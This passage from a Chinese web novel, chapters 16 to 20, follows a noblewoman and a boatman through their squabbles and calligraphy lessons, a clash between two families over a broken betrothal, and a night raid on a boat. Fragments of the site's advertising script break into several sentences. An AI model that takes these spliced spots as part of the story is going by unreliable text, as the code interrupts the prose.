“那你坐别的椅子去。” “为什么不是你坐别的椅子？” 崔竹喧端的一副理所当然的态度，“因为我现在想坐这。” 大抵是寇骞那逆来顺受的好脾气还没睡醒，仅一副生了反骨的躯壳在坚持同她作对，咬牙道：“你讲讲道理，先来后到。” “这椅子写你名了？” “那写你名了？” 崔竹喧轻笑一声，双指轻敲了敲椅身，“这是竹子做的，同我是本家，既没写你名，那论资排辈是与我亲近些，自然归我。” 她挑衅地望过去，对上个哑口无言的郁闷神色，愈发得意，好似争到的是什么至尊宝座，而非是一串铜板能买好几把的粗劣摇椅。 输家寇骞苦着一张脸腾出位置，长叹一口气。 地痞无赖他见得多了，用词这般文雅的厚脸皮他还是第一次见，硬生生把这强盗行径都衬得清新脱俗了些。 “行，那你歇着，某去收拾。” 崔竹喧慵懒地躺着，伴着竹片挤压时清浅的“嘎吱”声在夜风中轻轻摇晃，不时响起几声蛙鸣，倒也有几分在乡下庄子里避暑的野趣。而那人因被她匆匆赶起来，背后的头发没来得及捋顺，挨挤在一块，有几根甚至绕成了圈悬在中间，滑稽得很。 她忍不住想笑出声，又担心这人恼羞成怒，断了她的洗澡水，只能压平唇角，可目光总忍不住黏着他翘起发尾，一块儿行过檐下，眼见他要伸手推门，她忽地想起什么，面色一红，急道：“等等！不许进去！” “怎么，你还在澡盆里藏了什么宝贝不成？” 推门的手抱在身前，肩膀斜倚着墙面，寇骞好整以暇地等在原地，目光懒洋洋的，看着她着急忙慌地跑过来，挤进他与门之间的间隙，双手护住门框，梗着脖子道：“不许进就是不许进！你、你明早再来收拾。” 一扇破木门有什么好护着的，他若非要进，跳窗能进，掀瓦也能进，她只在这一处拦着有什么用——兴许是有用的，诸如此刻，他全然没了强闯进去的想法，只是贪看这人少有的羞色。 耳尖的绯红如红霞般晕开，染至双颊，比最上等的胭脂都要明艳好些，曾听闻有浪荡子爱吃女子唇上胭脂，那时只觉可笑，而今，他微微低眉，嗅到极浅的香，竟也心痒，有馋虫作祟。 “寇骞！” 他倏然挪开目光，半个身子都靠在墙上，“嗯，在呢。” “今夜没什么事了，你先回去吧。” “……行，小祖宗说了算。” 天仍下着雨，寇骞暂且不想在雨里洗头洗澡，便去拿挂在墙角的蓑衣斗笠，只是崔竹喧似是连这点时间都等不及了，将油纸伞塞进他手心，就将他赶了出去。 寇骞其实是不怎么爱撑伞的，毕竟这玩意儿实在不中用，雨小了拿着麻烦，雨大了又遮不严实，要是起风就更糟了，稍稍大些，伞骨就要被吹折，远比不得蓑衣方便。 但他眼下只有这个了。 一边撑着伞，一边还得避着风，也不知到底是谁在护着谁，若不耗这闲工夫，他早把路走完了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。可他要是不管不顾，敢明天拎着把破伞上门，定然要惹她不快。 世上怎么会有这么能折腾人的姑娘呢？他想。 停在檐下收伞时，他的动作一顿，旋转伞柄，借着屋内烛火的微光，瞧见了伞面多出来的墨迹，他凝眉打量过去，是一副画。 画上——竹子正踩着石头的脑袋，耀武扬威。 * 直到门闩落下，崔竹喧总算是松了一口气。 推开那扇刚被她严防死守过的门，吃力地从里头抱出一个木盆，里头乱七八糟团在一起的，正是她白日里穿的衣裳。 用瓢倒进水，再扔进皂角，而后提溜出来搭在屋后的竹竿上——她瞧见范娘子家就是这样晒衣服的。竹竿很长，右边是她刚刚晾上去的绿裙，左边是前两日洗的红衣，因着天公不作美，左右都是湿漉漉地垂在那，也不知要何时才能干透。 她倒想支使些人帮她，偏是身无分文，除了寇骞，大抵没人愿因她空口许诺的金银而任她差遣。至于寇骞，总不能让他…… 罢了罢了，区区几件衣裳，还能为难到她堂堂崔氏贵女不成？ 昔日有西施浣纱，等回去，遣画师替她作几幅浣纱图，再雇几个文人写诗作赋，虞阳，乃至整个大邺就该传扬她崔女浣纱的美名了。 崔竹喧心情好极地入睡，连一长一短的床幔都不甚碍眼，在梦中一时风光无两，可惜睁眼只瞧见两面漏风——昨夜忘记关窗了。 是以，她是被自己的喷嚏闹醒的，所幸没有旁人撞见她这副糗样，只消梳洗一番，她便仍是那个端庄优雅的贵女。 “阿姐，我来啦！” 第一个上门的是阿鲤，手上提着一篮子的烙饼，照旧是从寇骞那领来的。 崔竹喧将人迎进来，却没急着走，目光在四下扫过一遍，空空如也，当即拧起眉，砰的一声将门合上。 呸，她就知道那人嘴里没一句真话，果真是狗嘴里吐不出象牙！ 她拿起一张烙饼，恶狠狠地咬下去，仿佛唇齿咀嚼的不是面粉和咸菜，而是某个失信者的皮和肉，但要这样想的话，他的皮肉还挺香的，因为她又接连咬了两口下肚，甚至赶在阿鲤把剩下的烙饼啃光前，又扒拉了一张进自己碗里。 兴许那人是因为忙着烙饼，这才耽误了时辰呢？ 念在饼的面子上，她也不是不可以宽宏大量地饶恕他问安迟到之事，只压着他多说几句好听话便罢。 可那人却像是存心同她作对，左等不来，右等也不来，甚至她已经教阿鲤写完一张大字，将人送出门了，他还不来。 崔竹喧气得牙痒痒，进堂屋推门时不用手，而是改用了右脚，在整个门框几要散架的巨大动静中，竟掺进了一点低笑，突兀至极。 她蹙眉望过去，摇椅上那个高架着腿，每根骨头都歪七扭八的人，不是寇骞那个泥腿子，又是谁？ “谁惹小祖宗不高兴了？” 17. 017 非写不可 还能有谁？ 崔竹喧恶狠狠地瞪过去一眼，恨不得把那个悠闲地躺在摇椅上的人垫到椅子腿下去，压成馎饦一样的扁皮子，下锅一气儿煮了。说什么来向她问安，结果就晓得在这躲清闲！ 她一脚踩住底架，那人便跟着摇椅一并被桎梏在原地，“起来，不许坐！” 寇骞懒懒散散地瞟了她一眼，把架起的腿放下，不仅没有起身的意思，甚至整个人严丝合缝地贴合上椅身，“不起。” 这算什么？挑衅？ 崔竹喧冷哼一声，欲要同他重新探讨一遍昨夜就已确定下来的摇椅所有权事宜，那人却端着一副死猪不怕开水烫的模样，摇头否认，“昨天是昨天，今天是今天。” 他伸出一只右手朝她勾了勾，引着她的目光落到扶手上，指尖轻点处，竟是几道刀刻的痕迹，分外潦草，她凝眉端详好一会儿，才看出那拙劣的小鸡吃米图拼出的是一个“寇”字。 “写了某的名字，可见这应当归某。” 崔竹喧对他这分外幼稚的行径深感不屑，可手已经先脑子一步展开行动，四指扳着扶手，用拇指的指甲在木头上乱划，企图将这凭据磨毁了去。 寇骞也不阻拦，歪着脑袋在旁候着，就见她的神情愈发得气愤，忙低眉用手虚虚地掩在鼻下，遮盖上扬的唇角，可微颤的肩膀到底将他出卖，是以，再抬头时，他对上了一双冒着火光的眸子。 这也不能怪他吧？他已经尽量忍住不笑了。 崔竹喧剜了他一眼，又盯向那该死的扶手，鬼画符般的“寇”倒是入木三分，至于她的指甲印，不管是规规矩矩的横线、竖线，还是歪歪扭扭胡划乱扣，都只留下个清浅的印子，若不寻个特定的角度，仔仔细细地去瞧，便连那点印子都见不着了。 这字毁不掉，那就只能另寻他法。 她轻咳两声，板起面孔，扬着下巴，把一时冲动的斗气收敛成深思熟虑的斗气，“这是字吗？我怎么没看出来？就是些乱七八糟的划痕，做不得数。” “怎么能因你不认得，就说这不是字，当说是你不识字才对。” “呸，你才不识字！” 崔竹喧不满地刺回去，忽而想起这白原洲连个正经的教书先生都没有，又望向那比起字更像画的刻痕，怒容藏进了一抹狡黠的笑，她翘着唇角，低眉凑得近些，“寇骞，你是不是和阿鲤一样，不会写字？” “……怎么可能？”寇骞梗着脖子地反驳道。 “那你写个我看看，反正隔壁屋就有现成的笔墨。” 寇骞顿时将梗着的脖子收了回去，缩头乌龟似的蜷在椅子里，气势一下子弱下去，“不写。” “不行，我要看，你现在就起来写字！” “不起，不写，你死了这条心吧！” 崔竹喧焉能受得了他这般忤逆，当即伸手要去扯他的袖口，却被他灵巧地躲了过去，他又将两手缠在一起，抱在身前，绝了她第二次出手的机会。 她恨恨地咬牙，索性两手一块儿去扳他的小臂，一边生拉硬拽，一边在脑子里胡思乱想，定是因为这人每天除了吃就是躺，所以才沉得跟头驴一样，连脾性都相差无几，不然为什么不顺从地按她说的做。 深吸一口气，闭紧牙关，猛地往外一拽，终见这头倔驴略有松动，她忙乘胜追击继续使劲儿，一时未顾及脚下，遭木架子一绊，眼看着就要栽下去，先前百般拽不动的手，这会儿却主动把她往里拉。 即使如此，她还是栽下去了，只是不是往后，而是向前。 温香软玉一下子撞进怀里，纤薄的衣料紧贴着，不似先前有夜风吹散，有冷雨浇透，属于另一个人的体温无比明晰地渗透过来，寇骞不由得僵了一瞬，偏头想要避开她身上惑人的香，却不想，她也于此刻动了。 于是，他的唇蹭过她的耳尖，构成了一个不能算吻的、极清浅的吻。 好软，想—— 他倏忽醒过神，逃也似的躲至最远，只是喉结滚动，声音发紧，“……起来。” 不用他催，崔竹喧也是要起的，只是这儿不比旁的地方，手腕一撑便能起身，她手上一用劲，反倒是推得椅子再度摇晃起来，连带着她一头砸进他的颈窝。 柔软的发丝蔓延上他脖颈的皮肉，每一丝每一缕都同它的主人一样爱折腾人，勾缠出若有若无的痒意，他的声音压得更低了些，“起来。” “我在起来了！” 崔竹喧磕磕绊绊地在晃悠的摇椅上腾挪，好不容易从狼狈地趴着挣扎成跨坐在他腰间，只消再往后退些，便能起身，寇骞正要松一口气，她却忽然改了主意，两手搭上他的肩膀。 她恶狠狠地逼问道：“写不写字？” “……你先起来。” “不行，你不听我的，我凭什么要听你的？” 寇骞一手扶上额头，长叹一口气，咬牙道：“写，写到小祖宗满意为止，行了吧？” “这椅子？” “归你。” “问安？” “……小祖宗安好。” 崔竹喧有些讶然地看着面前出奇好说话的人，突然明悟，这是个欺软怕硬的泥腿子，只要压着他狠狠威胁一番，他便什么都会应了。 “起来吧，好不好？” 行吧，看在他眼下还算乖觉的份上。 她从摇椅上翻下来，得意洋洋地在前头领路，后头跟着她的手下败将寇骞。 隔壁屋的笔墨纸砚都是现成的，她只消将他往凳子上一摁，再把笔杆往他手心里一塞，便可立在旁边筹措奚落用的词句，等他提笔落墨，就能第一时间狠狠嘲笑他。 想到这人即将吃瘪，崔竹喧便要压不住唇角的笑了，偏他还在磨磨蹭蹭，别扭地开口：“非写不可？” 她板着脸催促：“非写不可。” 寇骞抓了把头发，深吸一口气，咬牙切齿地落笔，不过是写两个字罢了，倒使出了视死如归的架势。 崔竹喧首先看向他拿笔的右手，姿势倒是没错，只是被他宽大粗粝的手一衬，那普普通通的笔杆子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 竟显得小巧精致起来，目光随着他手腕的动作往下，落在纤长的笔尖，而后在纸上拖出野蛮的墨迹。 起笔收笔一塌糊涂，行笔更是随心所欲，与其说是写字，不如说是画字，当然，画功也让人一言难尽，非要形容的话，大概是玉盘和大饼都是圆形的相似程度。 他似是豁出去了，硬着头皮将名字一气呵成地写出来，撂下笔，焉了吧唧地坐在那，“喏，某只有这种水平，笑吧。” 崔竹喧动了动唇，瞧见他那副可怜模样，莫名生出几分不忍来，于是将那个几欲脱口的“丑”字咽了回去，转而问道：“你是自学的？” “算是吧，做散工时跟着旁人瞎比划了点，方便记账。” “那、那你也算是勤勉。” 寇骞讶然地抬起头，神色古怪地开口：“这是在，夸某？” 崔竹喧当即变了脸色，冷哼一声，“是在骂你，不识好歹！” 被骂的人不仅不生气，反而扬起了唇角，歪着身子凑到她旁边，讨好道：“某读书少，小祖宗原谅某这一回？” 她勉为其难地瞥他一眼，惜字如金，只矜贵地点下头。 “多谢小祖宗！”他将那张被糟蹋的纸拎起来，正欲寻个没人处毁尸灭迹，却被崔竹喧忽然叫停。 “等等！” 寇骞转头看过来，不明所以。 她其实也有几分后悔这般贸贸然开口，可又怕他因没文化哪日被别人嘲笑了去，到底相处了这么好些天，不忍放任他受欺负，反正教一个是教，教两个也是教，她也没什么要事在身，干脆教他写写字。 这般说服过自己，她把纸重新铺平，用杯子压着边角，咬唇道：“我教你。” 她让他重新执起笔，自己则将手覆盖上他的手背，带着他蘸墨、舔笔，而后从最简单的横画开始，逆锋起笔，中锋行笔，回锋收笔。 “凡下笔须使笔毫平铺纸上，乃四面圆足。” 她教得认真，他学得却有些出神。 毛竹、臭墨、糙黄纸，哪一样能比过她莹白如玉的手，比起研究怎么让墨汁涂抹出的轮廓变得规整，他更想用目光一遍遍重复数过她的指节，又或者不用目光，改用旁的。但，这想法不合时宜得紧，是故，他只能垂下眼睫，心猿意马地学字。 崔竹喧分出一点余光瞧他，没觉出什么异样，只觉得他如今的模样乖巧伶俐，比寻常总同她作对的时候顺眼得多，也就乐得多教他会儿。 撇下刚刚那道孤伶伶的横不管，直接揠苗助长，一步到位，拖拽着他写起名字来。 可恨这人不叫丁一，不叫王二，偏偏要叫个笔画加起来多达二十四画的寇骞，她还是第一次这般教人写字，半桶水晃荡的水准，单个的笔画还能勉强入眼，碰上这么复杂的字，就成了数条胖毛毛虫歪歪扭扭地挤在一起，同他自己写的相比，丑得不遑多让。 崔竹喧面色发红，呵斥道：“不许笑！” 寇骞顺从地点头，压平翘起的唇角。 “好，不笑。” 18. 018 心悦臣服 崔竹喧虽没能同蓝青溪一样，给自己吹嘘出个第一才女的美名，但这也并不代表，她心甘情愿担个不学无术的骂名，更何况，她真真切切是有些真才实学的。 是以，她从多个角度、不同层面，引经据典地将笔墨纸砚挨个贬得一无是处，论述其对她发挥的阻碍，骂过桌子，怨过凳子，连路过的蚂蚁都要平白遭一顿数落，最后，她横眉竖眼地看向寇骞，“都是你的手太重了，这才把我带偏的！” 寇骞闻言，诚恳道歉，“嗯，是某的错。” 饶是如此，她仍不肯轻易罢休，将他赶起来，自己坐下去，说什么也要证明自己的字最是清雅灵秀，行云流水。 她先是用最习惯的簪花小楷写了一遍，弗一停笔，就急匆匆地望向他，后者自然不负期待地赞叹道：“好看！” 她又换一种字体继续写，每写完一遍，就要停下来等他夸奖，像是在对他献宝一般，待到他终于夸至词穷时，她的笔尖也已到了纸张的边缘，墨色落满了纸面，密密麻麻，都是“寇骞”。 “方才那只是一点小意外，”崔竹喧再度重申，而后扬着下巴，“我是不是很厉害？” 哦，这是单个的夸奖完了，还需要总结的夸奖。 寇骞不由觉得好笑，却不敢扫了她的兴致，面上摆出副正经的神色，将那些形状各异的“寇骞”挨个欣赏一遍，而后拱手作揖。 “小祖宗厉害，让某心悦臣服！” 崔竹喧那总是上向扬的眉尾，终是连同眼睛一起，弯成了月牙的形状，盈满了欢喜，毫不客气地收下了这份阿谀奉承，她又朝他勾了勾手，将他的目光再度引到纸面，骄矜地开口：“你喜欢哪个？我教你！” 寇骞一副虚心求教的模样，“你觉得某应该练哪个？” “听我的？” “嗯，你说了算。” 于是她再低头时，就开始挑拣起这些字的不好了。 “这个太纤弱，这个太笨拙，这个不够灵动，这个……” 其实哪个都好，他都喜欢，不只是字，还有…… * 一辆藻饰华丽的马车缓缓停下，后头的两列侍从站得笔直，个个腰间悬着长刀，若非身上穿的衣裳与官兵的差服相距甚远，这打眼一望，几乎要叫人以为是这蓝府要被查抄了。 这般阵仗，甭管是过路的还是卖货的，都无心关注脚下，只把一双招子往人堆里钻，三三两两凑到一起，交头接耳起来。 实在这队人马打眼，盘踞了半条街，却安静得出奇，从主人到下人没一个出声，唯独拉车的马儿耐不住性子，抻着脖子四处张望。 “不知是哪位大人驾到，有失远迎！” 正值午时，向来少有不懂规矩的人这般时辰上门，守门的老头也就乐得跟富家翁似的在软榻上午睡，谁料到竟来了这么一出，什么瞌睡虫也被惊跑了，他急匆匆地跑出来，拱手作揖，这才低眉瞧见自己向左偏了小半圈的腰带。 坐在车架上的青年人扫过他一眼，神色倨傲，“虞阳，崔氏。” 虞阳崔氏与琅琊蓝氏同为当今世家之首，向来交好，又是姻亲，偏生出了那档子事，眼看这副来势汹汹的模样，多半是兴师问罪来的，哪还敢提什么拜不拜贴？门房心里叫苦，却只能笑脸相迎，“小的这便差人去通禀，大人不妨移步入内稍等片刻。” “蓝青溪呢？”织金的锦帘被一柄玉扇挑起，传出道冷淡的声音，“叫他出来迎我。” “这、这……公子他近日身体不适，不能见风。” “自明，去，将我那件雁翎氅衣取出来，给蓝青溪送去，莫叫这‘身娇体弱’的蓝公子在这七月的艳阳天，因走了区区几步路染上风寒。” 青年应了声，手一撑便从车架上翻下来，捧出一个锦盒，大摇大摆地迈上府前的台阶，将将跨过门槛时，朝边上一扫，“来个人领路。” 门口立着的几个奴仆面面相觑，终是用眼神推举出一位，低眉领着他入内。 崔氏此举，着实与客气沾不上边，但没得上头发话，底下人也不敢轻举妄动，气氛一时凝重，僵持不下。 门房立在那，进也不是，退也不是，额上被晒得滚出大颗的汗珠，砸进眼睫，渗进眼睛，搅得双目火辣辣地疼，他却只把嘴角向外咧着，不敢妄动半分。 只是难免在心里腹诽，这崔氏怎么个个都是这种恨不得捅破天的脾气，上回那个来退婚的是这样，今日这个也是这样，可怜他家那好脾气的公子，要被这般来回搓磨。 一刻钟后，一群持青绫步障的奴仆鱼贯而出，把崔氏一行人连带蓝府府门围在圈内，将路人打量的目光尽数遮掩后，身披氅衣，眼覆锦缎的蓝青溪被仆从搀扶着引至马车前，“崔兄远道而来，于情于理，青溪自当亲迎。” 崔淮卿于马车内居高临下地看过去，目光触及他遮目的锦缎时，眉心一蹙，直到瞧见那件雁翎氅衣，面色稍霁，对他这恭顺的态度尚算满意。 于是方才的剑拔弩张倏然消解，崔淮卿朗声一笑，“青溪真是太多礼了，你我之间，何必如此拘谨？” 蓝青溪温声应道：“正因如此，更是礼不可废。” 两人相携入府，待步障清撤之时，那雕花木门已然合拢，一片肃静，好似那场闹剧从未发生。 堂中设了桌案，以缭绫铺地，寒冰琢景，丝竹之声靡靡，舞姬水袖翩跹。 无甚新意。 崔淮卿漫不经心地饮着茶水，同蓝青溪假装热络地寒暄几句，大抵关于天气、荷花与七月的新酒，在不相及的事物中随口攀扯，直至舞乐声戛然而止，闲杂的仆从纷纷撤下，他这才放下杯盏，望向缓缓走到首位落座的蓝氏家主蓝敬。 “闲话说得差不多了，既然蓝家主也在，那晚辈就说说正事了，”他面上笑得热切，语调却愈发冷硬，“蓝公子痼疾缠身，不宜大婚，蓝氏为何不提前相告？” 蓝敬面色淡然，“贤侄言重了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，不过是些小毛病，不会影响大婚的。” “是么？”崔淮卿冷笑一声，转而看向蓝青溪，“你何日痊愈？” “十月前。” “确定？” 蓝青溪点头，“确定。” 崔淮卿面色稍稍和缓，只是话语间机锋依旧，“但舍妹已然将信物及庚帖退回，不知蓝氏预备如何处理，于公还是于私？” 蓝敬笑呵呵地回答：“崔女公子年纪尚小，与青溪玩闹罢了，蓝氏与崔氏这桩婚约可是订了有十多年，怎好轻废？” 崔淮卿低眉拨弄着杯盏里的茶叶，显然不愿这般被轻飘飘地揭过，“约可订，就可废，这世上哪有什么一成不变之事？” 蓝敬面上的笑意有片刻凝滞，眉心微蹙，正要说话，蓝青溪却突然起身。 “崔、蓝两家世代交好，岂能因青溪之行事不周而生了嫌隙？既是青溪开罪了崔女公子，自当由青溪去赔礼道歉。”他两手作揖，向崔淮卿行了一礼，“青溪日前托匠人以翡翠为棋子，白玉做棋盘，打造了一副翠玉玲珑棋，献予崔女公子解闷，不知能否换她展眉一笑？” 崔淮卿微微挑眉，将茶盏放下，意味深长道：“礼不错，就是诚意少了些。” “崔兄的意思是？” “既是赔礼道歉，假手于人总归是差了几分，”崔淮卿手腕一动，山水扇面的折扇展开，掩住半副笑脸，“不如，亲自登门。” * 今日是晴？ 大抵是连日的阴云密布，叫人习惯了到处都是一片灰蒙，陡然间从窗棂缝隙闯入一缕阳光，便觉灿烂得晃眼，只这么一照，崔竹喧便被闹醒了。 她起身将窗子一推，果然见东边挂着一轮圆圆的日，红红的，小小的，像是刚烹熟的鸡蛋黄——阿树做的不行，得是寇骞做的那种。 正纠结着要不要让寇骞给她现煮一个，忽然意识到，既然雨停了，那是不是说明，她可以渡河回家了？ 虽然寇骞的船被她弄丢了，但渡口不是还拴着那么多条呢，随意借一条来，等她顺利归家，便是给把整个白原洲的船只都换成新的，也不过就是随口一句话的事。 崔竹喧匆匆洗漱一番，就要准备收拾东西，同寇骞一起上路，只是迈进堂屋，却瞧见了一只篮子，眼熟得很，是平日里给她送吃食的那个。 他今天来过了？ 她在他竟不叩门就偷偷入内的愤怒，与他是如何在门上锁的情况下入内的好奇中犹豫一瞬，选择将篮子上盖着的棉布掀开，里头是一碗馎饦，她伸手碰了碰碗身，已经凉了。 难道是半夜送来的？给她当宵夜？ 崔竹喧正蹙着眉，瞥见碗底压着一张纸条，揪出来展开，是一堆与好看不沾边的字，应来自寇骞无疑。 “打渔去，有事寻范娘子。” 正事只这一句，后头则重复抄写着“小祖宗安好”，她数了数，一共六遍。 所以，要出去三天？ 19. 019 江心水鬼 今日是难得的风平浪静，尤其是对于他们这种汛期行船的人来说。 要不是送去胥江的那批货出了问题，买方又催得急，他们也不会冒着风险如此行事，落得几日几夜没得安歇，好不容易盼至雨停，一个个也不需布衾软枕，挨着块平坦的木板就能打起震天响的呼噜。 船外江水汤汤，船内呼噜成串，剩下零星几个守夜的船员也是歪歪斜斜地倚着桅杆，眼皮子耷拉着，任由瞌睡虫绕着自己的脑瓜子嗡嗡地飞。 但到底有最后一根弦吊着，每当意识支持不住，整个头垂下，连带着烂泥般的身子往下栽倒时，便会因心心念念的月钱而猛然惊醒，搓搓面皮，咽咽口水，便能再熬个一时半刻，如此往复，天边便不是一成不变的漆黑了。 亮起的一抹鱼肚白，让四野由黑变灰，连绵的山岭由此显露出一个个朦胧不清的轮廓，好似环伺而来的饿狼凶兽，想要将这艘船吞吃入腹。 偏于此刻，在群兽与猎物中，陡然冒出一个娇娇小小的身影，在水浪中漂浮着，伴着隐隐约约的人声，像是哭，像是笑，又像是，在朝他说话，在唤他名讳。 正是江心处，莫非，是闹了水鬼？ 艄公扶着船舷往外望，眼睛每眨一次，那模糊的身影便漂近好些，一颗心在胸腔里砰砰直跳，他屏着呼吸轻步窜到另一个守夜人旁边，捂住那人口鼻，带着一双惊慌恼怒的眼睛再度望去。 可所见不过是起起伏伏的水浪。 难道是他睡迷糊了？ 被他打搅的那个倒霉蛋怒气冲冲地将他的手拽下来，没好气儿道：“天都快亮了，你还做梦呢？” “可、可刚刚真的有……” “有你个大头鬼！做多少亏心事儿啊，怕成这样！”那人深感不屑，啐道，“怂包软蛋一个，吹吹风，醒醒神等着交班吧！” 艄公精神恍惚地回了原位，看看江面，又看看自己的手心，仍是不解，再度抬头时，脖颈间却探上了一片纤薄的刀刃，他艰难地用余光向后瞟去，果然是个娇娇小小、才到他半截脊背的身影。 是个小鬼，他想，凄厉的叫喊声方涌上喉头，戛然而止，他惊惧的眸中又倒映出数道细长的、飘忽的黑影，终于明悟。 小鬼，还带来了一群大鬼。 * 奇怪，太奇怪了！ 崔竹喧端着碗坐在摇椅上，吃一勺馎饦要往外张望三四眼，待馎饦见了底，日已爬上中天，巳时都快过了，阿鲤还没有来，难不成寇骞去打渔，还要把阿鲤带上拎鱼篓吗？ 她把碗搁在桌案上，所幸这么些天，她已然学会了些梳发的技巧，当然，她以往的那些复杂发式还是弄不成，勉强将头发编成整条的辫子，见人时不失礼就好。 她从屋里走到院内，又从院内走回屋里。 如此往复，景致没能赏到，只得出一个结论，这儿实在小得可怜，外头的门和里头的门相距远不到百步，前些日子下雨惫懒时还不觉，今日放晴，便觉拘在着方寸之地无所事事，委实闷得慌。 不若出去走走。 只是门刚被拉开条缝，就见个年岁同她差不多的女郎，举着的右手虚握成拳，应是正准备敲门，乍然瞧见她，面上现出几分惊讶，但很快又变成了热络的笑。 “你就是崔娘子吧，我是范云，你的衣裳还是我帮忙裁的呢！” 崔竹喧警惕的目光微敛，攥着门板的指节未松，“寇骞不在家，你过几日再来找他吧。” 范云闻言愣了一下，随即笑出了声，“今日雨停，我自然知道他不在家，我是来寻你的，你一人待在家里无聊，不如去我那坐坐，他们出去一趟，少说有个三四天，每日饭点，只管去我们家吃就好。” 想到寇骞留在纸上的话，范娘子可信，那范云应当也可信，崔竹喧这才松了手，将门彻底敞开，“是寇骞提前跟你们说过了？” “以往救了人上来，都是搭在我们家吃的，哪还要特地过来说？” 既是如此，推托便显得她扭捏了，索性大大方方应下来。 崔竹喧把檐下的油纸伞撑开，随着范云出门，离开时，特意将院门仔细瞧了一遍，门前两块青石板，右边一棵柿子树，免得回来时又落入上次那种窘境。 范云娘同她并肩走着，忽又钻进她的伞下，只没过几个呼吸，她又重新蹿了出去，“外面的女郎都像你这般，晴日也要撑伞吗？” 还未待崔竹喧应声，她便自顾自地往下说：“难怪你生得这般白嫩，我跟你比，就同鱼肉跟鱼皮似的。” “胡说什么？”崔竹喧扑哧一声笑出来，“要说像鱼皮，那也是寇骞，皮糙肉厚的！” 这般一路说笑着，走过零散的房屋，崔竹喧四下张望记着回去的路线，却在门缝间撞见了一双发红的眼，心中咯噔一下，匆忙扭过头，也顾不得太阳的朝向了，只把伞面冲着门的方向往下压，将那不怀好意的目光连带那扇门一并掩去。 “怎么了？”范云茫然地问。 “那边，有个酒鬼。” 崔竹喧尚且记得上回撞见的那张脸，满脸横肉，胡子拉碴，浑身上下散发脏污的酸馊与隔夜的酒臭，只是一照面，便恶得叫人反胃，她可不想同这种流氓有任何牵扯。 范云小心地将目光从伞沿探出去，未能瞧见人，但那间屋子她是认得的，是以，索回来的一张脸顿时皱巴成了苦瓜，“是得离他远些，不是什么好东西！” “他原是跟着寇郎君做事的，但成日喝酒躲懒，只有分钱分粮时最是积极，这样的懒汉，谁受得了？寇郎君不要他跟着后，他也不知道反省，就靠着往日的积蓄混日子——最近好像是钱花得差不多了，到处蹭饭吃呢，跟块狗皮膏药似的！” 崔竹喧认同地点头，就没有哪个正经人会在白日里喝得醉醺醺的，不思进取，像寇骞就勤快得多，烧火做饭、刷锅洗碗，出去得做竹筏，回来得写大字，晚上还要帮她烧洗澡水……这般 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 算算，是有些忙了，难怪上回能在摇椅上睡着……她莫名生出了一点心虚，不然，给他加些工钱？ “总之，你瞧见他便躲远些，要是他嘴臭，也先忍着，等寇郎君回来，他便不敢了。” “他很怕寇骞？” 范云信誓旦旦道：“整个白原洲都听寇郎君的，他自然也不例外。” 崔竹喧不由得蹙眉，这做派，怎么跟流匪似的，总不能因着寇骞姓寇，便占地当个土皇帝吧？可转念再想，哪个土皇帝事事要自己动手的，甚至黑灯瞎火地给她做馎饦，应当是她多疑。 她又问：“寇骞每次去打渔都是半夜出发吗？” “……打渔？”范云面上的笑僵了一瞬，忽而快走几步，伸手指向前头那处篱笆，扬声道，“到了！” 一进院门，便瞧见坐在檐下侍弄针线的范娘子，看见她来，当即热情地朝她招手，“来得正好，我正发愁这衣裙上要绣个什么纹样呢，到底是贵料子，可得让你选个合心意的。” 崔竹喧低眉翻了翻篮子里的绣样，除了鸳鸯戏水便是比翼双飞，她一件常服，哪用得上这些，偏范娘子还在颇为自得地吹嘘着：“我手底下可做出过三四件嫁衣，穿在新娘子身上服服帖帖的，整个白原洲，哪个看了不说好？” “刺绣耗时长，绣些简单的纹样就好，我急着穿呢。” 范娘子唉声叹气地住了口，重新穿针引线去了，这副吃瘪模样引得范云在旁捂嘴偷笑，可还没乐多久呢，便挨了一记眼刀，范云只好拉着崔竹喧的袖子将她带进屋子，合上门，这才重新笑嘻嘻地开口： “你别管她，我娘成日最爱撮合人成亲了，见一个说一个，连寇郎君都三天两头要遭她念叨，恨不得屋前的蚂蚁都是成双成对地爬，烦得很！” 也不管她有没有应声，范云就像打开了话匣子一般，倒豆子似的往下说：“她那样上下嘴皮子一碰，男男女女就能看对眼不成，她要真有那本事，怎不先给自己寻个下家呢？” 崔竹喧对成亲倒是没什么抵触，于她而言，不过是换个地方住，要是住得不顺心，再搬回家也是一样，总归除了皇家面前要稍稍收敛，旁的人还不是得对她唯命是从。 “你很不想成亲？” “这白原洲来来去去就这么点人，同我年岁相当的更是一只手数得过来，我吃个蛤蜊还得挑挑拣拣寻个壳张得最开，肉最多的，没道理轮到嫁男人，反倒不能挑拣。” 崔竹喧认同地点头，毕竟她自己便是把相看范围从虞阳扩大到了整个大邺，“既然白原洲，没有合眼的，为什么不出去相看？” 范云一时语塞，眼神闪躲，支吾出声：“我、我不能出去的……” “为什么？” “这、这一时半会儿也说不清，”范云目光四下飘忽不定，扫过篮子中的针线时，眼眸一亮，好似终于寻到了救星，急忙从里头抓了方空白的帕子塞进她手里，转移话题，“咱们还是绣帕子吧！” 20. 020 拦河截道 刺绣是个危险活儿，起码比下棋要危险得多，一不留神就会在手上扎出个血窟窿来，是以，崔竹喧对此向来是敬而远之，但待在这儿地方，也实在没有别的能干，她犹豫一下，到底决定跟着绣帕子以打发时间。 只是范云那头飞针走线宛若行云流水，崔竹喧这头还在针线篓里挑挑拣拣，两条秀眉紧蹙着，“怎么没有护指啊？” 范云动作一顿，“……那是什么？” “就是，套在手指上，防止被针扎的小玩意儿。” 范云恍然大悟，“有，等着！” 她风风火火地走进里屋，从里头翻出一个小布包递过来，拆开一看，里头尽是些木片配细绳的奇怪东西，她拿起个，示范着绑在自己右手中指指腹上，“这个是顶针，作用和你说的那个护指一样，你戴戴看？” 崔竹喧低眉审视，灰褐色的木片与暗黄色的细绳，实在同好看沾不上边，她还想着，没有鎏金护指，用银护指或是填满棉花的护指将就一下，却没料到会见到这么粗陋的东西。 